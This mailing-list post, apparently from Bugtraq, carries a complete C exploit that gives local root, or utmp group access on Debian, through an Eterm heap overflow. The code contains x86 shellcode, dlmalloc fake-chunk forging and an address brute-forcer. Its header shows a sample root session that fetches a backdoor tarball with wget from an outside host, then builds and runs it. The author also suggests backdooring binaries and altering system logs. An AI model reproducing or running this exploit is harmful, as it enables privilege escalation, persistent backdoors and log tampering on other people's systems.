dave pointed out dat i forgot to send da attached .c in my first post.
dis proves dat im so bizy dat i forget to send other half of email to bugtraq. 
attached is a local root xploit for eterm. and on default install of debian it be a 
local gid utmp xploit. hi martin 
dis is a nice change up from da same old cross site scripting we all be seeing and 
bored of. 
/* 0day Eterm <= 0.9.2? x86                                  		*/
/*      0day local root xploit for Eterm				*/
/* 	dis code is copyrighted(C) by me bazarr				*/ 
/*      compiles on linux x86                           		*/
/*      by: bazarr  3/11/03                             		*/
/* 	[EMAIL PROTECTED]	 					*/


/* 
* 2 #darknet girls go round da outside round da outside round da outside 
* 2 #darknet girls go round da outside round da outside round da outside 
*			   bazarr is back 
*      			   tell a freind

* DIS ADVISORY/XPLOIT HAS BEEN CENSORED AGAIN. 
* I PUT A LOCAL ROOT .c WHEN DIS LIST IS GOING DOWN SOUTH QUICK WID CROSS SITE SCRIPTING BUGS. 
* AND I AM CENSORED SO HEAVILY ITS NOT EVEN FUNNY. IM TRYING TO HELP DA GREAT BUGTRAQ HERE.  
* http://geocities.com/rrazab/bazarr-unsencored-episode-3.c 

* THE REAL ADVISORY CAN BE FOUND THERE.

* this bug is a static data buffer overflow wich be many a trickyness to xploit.
* but i have managed to xploit dis on linux x86. xploiting on freebsd
* might be a different xploit all together since i be using da dlmalloc
* implementation to hack eterm(bbp! i be reading your paper).

* many a people like to use Eterm while i use gnome-terminal cuz it so easy to config. 
* when Eterm is installed it normally is installed suid root on many a install. 
* but on many a distros it is installed as part of default applications package. 
* ie: debian installs eterm setgid utmp by default. 
* hi martin.  

* so by xploiting dis bug on default install of debain you will obtain local gid utmp. 
* den you are able to backdoor certain binarys to get root. and able to modify 
* all important log files on da entire system!. CALL ALPHA TANGO TEAM. 
* you can also xploit programs wich handle utmp/wtmp insecurely.

* but on many a install you just get root. 


* [c00l:code]$ ./a.out aa #THIS BUG COMMING SOON. DIS BE A PREVIEW
* sh-2.05a# id
* uid=1001(c00l) gid=1001(c00l) euid=0(root) groups=1001(c00l) 
* sh-2.05a# exit
* [c00l:code]$ cc debeterm.c
* [c00l:code]$ ./a.out -t0 #back to the eterm bug 
* [*] Eterm local xploit 
* [*] Copyright(C) drunken fool on the lose (bazarr)
* [*] using retloc 0x8049788 chunkaddr 0x8086af8 retaddr 0xbffeb874
* <terminal gets really messed up from garbage displayed by eterm load_image()>
* in image path.
* Eterm:  Error:  Received terminal signal SIGSEGV (11)
* Eterm:  Error:  Attempting to dump a stack trace....
* GNU gdb 2002-04-01-cvs
* Copyright 2002 Free Software Foundation, Inc.
* GDB is free software, covered by the GNU General Public License, and you are
* welcome to change it and/or distribute copies of it under certain conditions.
* Type "show copying" to see the conditions.
* There is absolutely no warranty for GDB.  Type "show warranty" for details.
* This GDB was configured as "i386-linux"...(no debugging symbols found)...
* Attaching to program: /usr/bin/Eterm, process 25733
* ptrace: Operation not permitted.
* /home/c00l/code/realcode/code/25733: No such file or directory.
* /usr/share/Eterm/gdb.scr:1: Error in sourced command file:
* No stack.
* (gdb) q		<--- this is all you need to do you must type 'q' when gdb starts
* sh-2.05a# id			
* uid=0(root) gid=1001(c00l) groups=1001(c00l)
* sh-2.05a# wget http://pornoganny.org/.owned/bd.tar.gz ; tar zxvf bd.tar.gz ; cd bd ; make ; ./bd & exit  

* -bazarr
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <setjmp.h>
#include <signal.h>	
#include <getopt.h> 			
#include <sys/resource.h>
#include <string.h>								
#include <errno.h>									
#include <sys/time.h>									
#include <netdb.h>
										
#define NORM "\033[0m"				 
#define RED "\033[31m"				          
#define GREEN "\033[37m" //dis used to be green but im too damn lazy to change da name sorry
								
#define CHUNKGUESS 0x8084a28 //dis is da addr in wich findchunk() will start looking 
#define CHUNKEND CHUNKGUESS + 85000 // you might have to change chunkguess 
#define CHUNKARGMAX 35000	
#define CHUNKARGMIN 35000	//stupid!				
#define MAXLINE 1024*4 
#define DUPSTREAM 2	//dis be stderr					
#define HOPELESS 24  	//dis be da number of times i try to xploit eterm 
#define PATH "/usr/bin/Eterm"

/* globls */

typedef struct {
	ssize_t prev_size;
	ssize_t size;
	uint32_t fd;
	uint32_t bk;	
} chunk_t;

typedef struct {
	char *name;
	int chunkaddr;
	int retloc;
	int retaddr;
	uint8_t typenum;
} targ_t;

/* adding types is xplained at da bottom of dis xploit */
/* some people dink dat it funny to have types but i only */
/* have 1 type, but i dont find dat funny */

targ_t targ[] = {
	{"debian 3.0 w00dy (Eterm 0.9.2)",0x8085ae8,0x8049794,0xbffeb874,0},
	{NULL}
}; 

/* if you on a remote box you need to set dis */
/* it has nothing to do wid da xploit though  */
/* eterm just does a little check for display */
/* when it starts */
 
static char *display = NULL;
static pid_t cpid = 0;
static int chunkaddr = 0;
static int retloc = 0;
static int retaddr = 0;
static uint8_t verbose;
static uint8_t brute = 0;


char shellcode[] =

/* this xploit even uses custom shellcode 	*/
/* all dis by bazarr it so cool isnt it?	*/

/* oh... :( */ 

/* main: */

	/* dis be a sigprocmask call			*/
	/* can you see how cool it works?	  	*/	
	/* take a look at da sigfillset() src code 	*/
  	/* den you see what i be doing 			*/

        "\x31\xdb"              /* xorl %ebx,%ebx */
        "\x31\xc0"              /* xorl %eax,%eax */
        "\x31\xd2"              /* xorl %edx,%edx */
        "\xb0\x7e"              /* movb $126,$al  */	
        "\x43\x43"              /* inc %ebx 2x    */
        "\x6a\xff"              /* pushl $0xffffffff */  
        "\x89\xe1"              /* movl %esp,%ecx */
        "\xcd\x80"              /* int $0x80      */

	"\x31\xc0"		/* xorl %eax,%eax  */
	"\x31\xdb"  		/* xorl %ebx,%ebx  */	
	"\xb0\x17"		/* movb $0x17,%al  */
	"\xcd\x80"		/* int $0x80	   */

        "\x31\xc0"              /* xorl %eax,%eax */
        "\xb0\x0b"              /* movb $0xb,%al  */
        "\x99"                  /* cdq            */
        "\x52"                  /* pushl %edx     */        
	"\x68\x2f\x2f\x73\x68"  /* pushl $0x68732f2f */
        "\x68\x2f\x62\x69\x6e"  /* pushl $0x6e69622f */
        "\x89\xe3"              /* movl %esp,%ebx */
        "\x52"                  /* pushl %edx     */
        "\x53"                  /* pushl %ebx     */
        "\x89\xe1"              /* movl %esp,%ecx */
        "\xcd\x80";             /* int $0x80      */

char jmp[] = "\xeb\x0e";	

int findchunk(void);
void killeterm(int sig); //i dont use dis , it just here watever watever
int xploit(void);
void usage(void);
void mesg(void);

void killeterm(int sig) {
	printf("HELLO\n");
	kill(cpid,SIGKILL);
}

/* 

CENSORED

*/

int xploit(void) {
	
	char shell[25600];       //real big so we can ensure a steady retaddr
        #ifndef TEST
        char chunkarg[CHUNKARGMAX];
        #endif
        #ifdef TEST
        char chunkarg[CHUNKARGMIN]; //if this is big it'll be put around rs_name      
        #endif
	char pathchunk[22600];	 
	char sendbuf[1024]; 
	char *ptr = NULL;
	char genbuf[128];
	char cmdbuffer[sizeof(chunkarg)+strlen(PATH)+14];
		
	chunk_t chunk; //we need 2 fake chunks but seeing as they can be the same we use 1 so we can land on whatever 
	int i = 0;
	pid_t pid = 0;
	int fd[2];
	int fd2[2];
	int n = 0;

	bzero(&chunk,sizeof(chunk));

	
	/* take care of retaddr */
	
	ptr = shell;
	
	for (i = 0 ; i < sizeof(shell) - (24 + strlen(shellcode)+18) ;i+=2) {
		sprintf(ptr,jmp);  //fmt string attack returns from da grave!
		ptr += strlen(jmp);	//in new version dis will be patched
 	}			//we be using strcat next time 
					
	memset(ptr,0x99,24);	
	ptr += 24;			
	
	for (i = 0; i < strlen(shellcode);i++) {
		*(ptr++) = shellcode[i];
	}

	shell[sizeof(shell)-2] = '\0';
		
	/* take care of path buffer with address of chunks */
	
	ptr = pathchunk;
	
	for (i = 0; i < sizeof(pathchunk);i+=4) {
        	*((void**)ptr) = (void*)(chunkaddr);
		ptr += 4;
	}

	pathchunk[sizeof(pathchunk)-2] = '\0';
	
	/* take care of fake chunks */
	
	ptr = chunkarg;
	
	chunk.prev_size = 0xfffffff0;
	chunk.size = 0xfffffff8;
	chunk.fd = retloc - 12;		//we need 2 fake chunks but we can make them both the same 	 		
	chunk.bk = retaddr;		

	for (i = 0; i < sizeof(chunkarg) - 16;i+=16) {
		memcpy(ptr,&chunk,sizeof(chunk));
		ptr += 16;
	}
	
	chunkarg[sizeof(chunkarg)-2] = '\0';

	system("killall -9 Eterm 2>/dev/null ; killall -9 gdb 2>/dev/null");
	setenv("CODE",shell,1);
	setenv("ETERMPATH",pathchunk,1);	//THIS IS DONE THIS WAY TO POKE FUN AT A PERSON 
	setenv("CHUNKARG",chunkarg,1);			
	#ifdef TEST			
	system("/bin/bash");	
	#endif					
	#ifndef TEST
	system("/usr/bin/Eterm --term-name $CHUNKARG"); 
	#endif
	return -1;
} 


/* 

CENSORED

*/

int findchunk(void) {

        char recvbuf[MAXLINE] = {0};
        
	#ifdef TEST
	char chunkarg[CHUNKARGMIN] = {0};
        #endif 
	#ifndef TEST
	char chunkarg[CHUNKARGMAX] = {0};
	#endif 
	
	char pathenv[22580];
	char extra[25600]; //we dont want major changes from here to xploit 
	char *p = pathenv;
	char *pp;

	int chunkguess = CHUNKGUESS;
        size_t n = 0;
        int fd[2],i;
	pid_t pid;
	chunk_t chunk;
	uint8_t offset = 0,findoff = 0,twice = 0;
	
	
	signal(SIGALRM,killeterm);

	bzero(pathenv,sizeof(pathenv));
	bzero(chunkarg,sizeof(chunkarg));
		
	chunk.prev_size = 0x41414141;  //dis be D
	chunk.size = 0x42424242;	//dis be C
	chunk.fd = 0x43434343;	 //dis be B
	chunk.bk = 0x44444444;	 //dis be A 
	
	
	memset(extra,0x41,sizeof(extra));
	extra[sizeof(extra)-1] = '\0';
	setenv("CODE",extra,1);

	p = pathenv;
	
	while (chunkguess < CHUNKEND) {
                bzero(recvbuf,sizeof(recvbuf));
		
		
		if (!findoff) {
			memset(chunkarg,0x41,sizeof(chunkarg)-2);
			chunkarg[sizeof(chunkarg)-1] = '\0';
		}	
		
		else {
			p = chunkarg;
	
			for (i = 0 ; i < sizeof(chunkarg);i+=16) {
				memcpy(p,&chunk,sizeof(chunk));
				p += 16;
			}
			chunkarg[sizeof(chunkarg)-2] = '\0';
			p = pathenv;
		}	
		
                if (pipe(fd)<0) {
                        perror("pipe");
                        exit(-1);
                }

                if ((pid = fork())<0) {
                        perror("fork");
                        exit(-1);
                }

                if (pid == 0) {
			cpid = getpid();
	      		
			for (i = 0; i < sizeof(pathenv)-1;i+=4) {
				*((void**)p) = (void*)(chunkguess);
				p += 4;
			}
			
			pathenv[sizeof(pathenv)-2] = '\0';
			setenv("ETERMPATH",pathenv,1);
	
	                close(fd[0]);

			if (dup2(fd[1],DUPSTREAM)!=DUPSTREAM) { 
                                perror("dup2");
                                _exit(-1);
                        }
			alarm(1);
			close(STDOUT_FILENO);			
			execl(PATH,PATH,"--term-name",chunkarg,0);
                    	_exit(-1);
                }

                if (pid > 0) {
			
			close(fd[1]);
                        if ((n = read(fd[0],recvbuf,MAXLINE-1))<=0) {
                		if (n == 0) {
					system("killall -9 Eterm 2>/dev/null ; killall -9 gdb 2>/dev/null");
				}
				else { 
		               		perror("read");
                               		exit(-1);
                        	}
			}
			system("killall -9 Eterm 2>/dev/null ; killall -9 gdb 2>/dev/null");
			if (!findoff) {
				if ((pp = strchr(recvbuf,'A'))) {
					fprintf(stderr,"[+] found offset from recvbuf %d\n",(pp - recvbuf));
					offset = (pp - recvbuf);	
					//this shit should be 39 on all eterms
					if (offset > 39 && (twice != 3)) { 
					//chances be good we came into it on a fucked up way 
						findoff = 0;			
						twice++;		
						continue;
					}
					findoff = 1;
					continue;		
				}		
			}
		}
		recvbuf[offset+8] = '\0';
                if (verbose) {
			printf("%s\n",recvbuf+offset);	//we only look at the first 8 bytes 
                }
		if (strstr(recvbuf+offset,"CCCCDDDD")) { //this is the addr we pass to free in eterm 
			chunkaddr = chunkguess;	
		        return 0;		
                }				 
                else {				 
			if (!findoff) {
				chunkguess += 4200; //dis be big	
				continue;
			}
			else if (findoff) {
				chunkguess += 4; //dis be small 
	    			continue;
			}
                }
        }
        return -1;
}

void mesg(void) { 
	fprintf(stderr,""RED"[*] local Eterm xploit\n"); 
	fprintf(stderr,""GREEN"[*] Copyright(C) drunken fool on the lose (bazarr)\n");
}

void listtypes(void) {
        register uint8_t i = 0;

        fprintf(stderr,""RED"Types:\n");
        for (i = 0;targ[i].name != NULL;i++) {
                fprintf(stderr,""GREEN"\t%s | retloc 0x%x"
		" | retaddr 0x%x | chunkaddr 0x%x | type# %u\n"NORM"",targ[i].name,
                targ[i].retloc,targ[i].retaddr,targ[i].chunkaddr,targ[i].typenum);

        }
        putchar('\n');
}

void usage(void) {

        fprintf(stderr,
        ""RED"debian <= 3.0 eterm local gid utmp\n"
        ""GREEN"usage:\n"
        "       -v       /* verbose debuging stuff                                     */\n"
        "       -r (int) /* set retloc address                                         */\n"
        "       -c (int) /* set chunk address                                          */\n"
	"       -R (int) /* set return address                                         */\n"
        "       -f       /* find chunk address only (use to make a new type)           */\n"
	"       -l       /* list types                                                 */\n"
	"       -d (str) /* set display (this has nothing to do with the xploit)       */\n"NORM);
	exit(0);
}

int main(int argc,char **argv) { //college professor is it char *argv[] or char **argv?
	int c;
	uint8_t typenum,numtypes;
	uint8_t i,didit = 0;
		
	signal(SIGPIPE,SIG_IGN);

	for (i = 0; targ[i].name != NULL;i++);
	numtypes = i;

	opterr = 0;
	
	while ((c = getopt(argc,argv,"R:d:t:r:c:vfbl"))!=EOF) {
		switch (c) {
			case 'r': 
				sscanf(optarg,"%p",&retloc);
				break;
			case 'c':
				sscanf(optarg,"%p",&chunkaddr);
				break;
			case 'R':
				sscanf(optarg,"%p",&retaddr);
				break;
			case 'v':
				verbose = 1;
				break;
			case 'f':
				mesg();
				if (findchunk()==0) {
					fprintf(stderr,"[*] found chunk address at (0x%x)\n"NORM,chunkaddr);
				}
				else {
					fprintf(stderr,"[*] coulden't find chunkaddr\n"NORM);
				}	
				exit(0);
			case 'b':
				brute = 1;
				break;
			case '?':
				usage();
				break;
			case 't':
				typenum = atoi(optarg);
				didit = 1;
				if (typenum >= numtypes) {
					usage();
				}
				break;
			case 'l':
				listtypes();
				exit(0);
				break;
			case 'd':
				display = optarg;
				setenv("DISPLAY",optarg,1);
				break;
			default:
			 	usage();
		}
	}

	if (!didit) {
		usage();
	}

	mesg();
		
	if (!chunkaddr) { chunkaddr = targ[typenum].chunkaddr; }
	if (!retloc) { retloc = targ[typenum].retloc; }
	if (!retaddr) { retaddr = targ[typenum].retaddr; } 
		
	fprintf(stderr,"[*] using retloc 0x%x chunkaddr 0x%x retaddr 0x%x\n"NORM,retloc,chunkaddr,retaddr);
		
	xploit();
	
	if (!brute) {
		exit(0);
	}	
	
	for (i = 0; i < HOPELESS;i++) {
		xploit(); //this really inst brut forcing anything its just retrying till our chunkaddr comes back
	}		  //into the spot we want it to wich should take like at the max 10 times 
		
	exit(-1);
}	


/* 

to make a new type run follow deese steps (THEY COOL STEPS)

CENSORED

*/

/* 
          .=.
         //(`)_
     //`\/ |\ O`\\
     ||-.\_|_/.-||
     )/ |_____| \(
     O  # \ / #  O
       (| 0 o |)
        |  *  |
    O.__.\---/.__.O
     `._  `"`  _.'
        / ;  \ \
      O'-' )/`'-0
          O`    the fucking enraged clown. bazarr.
	
*/

Reply via email to